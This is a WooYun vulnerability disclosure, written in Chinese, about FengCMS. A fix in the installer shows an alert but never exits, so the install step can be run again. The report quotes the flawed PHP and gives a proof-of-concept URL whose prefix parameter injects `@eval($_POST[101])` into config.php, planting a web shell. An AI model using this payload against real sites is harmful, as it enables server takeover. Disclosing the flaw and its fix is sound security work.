WooYun-2014-76648:FengCMS 修复不当导致getshell
漏洞作者: xiaoL
来源:http://www.wooyun.org/bugs/wooyun-2014-076648
简要描述
FengCMS 修复不当导致getshell,属于修复不当,跟其他的没重复了- -,对审核同学造成的不便深感歉意。
详细说明
之前提交过一次跟http://**.**.**.**/bugs/wooyun-2014-067508
漏洞重复了。现在重新看一下。发现修复的有问题,而且install目录默认是不会自动删除的,依然可以getshell!
header("Content-type:text/html;charset=utf-8");
define("TPL_INCLUDE",1);
// 定义当前路径
define('ABS_PATH',dirname(__FILE__));
define('ROOT_PATH',dirname(ABS_PATH));
if(!$_GET['step'])$_GET['step']=1;
$config_file=ROOT_PATH.'/config.php';
$install_file=ABS_PATH.'/install.sql';
//这里是修改添加的代码,由于是输出javascript,所以可以无视掉
if(file_exists(ROOT_PATH.'/upload/INSTALL')){
echo '<script type="text/javascript">alert("系统已安装,如需要重新安装,请手工删除upload目录下的INSTALL文件!");</script>';
echo '<meta http-equiv="refresh" content="0;url=/">';
}
所以直接进行setp = 4 的步骤,其中只有DB_PREFIX字段不影响,可以用来getshell。
漏洞证明
直接访问URL:
.../install/index.php?host=localhost&user=root&password=root&dbname=hello&prefix=f_');@eval($_POST[101]);('&url_type=1&step=4
修复方案
echo 完了
exit()一下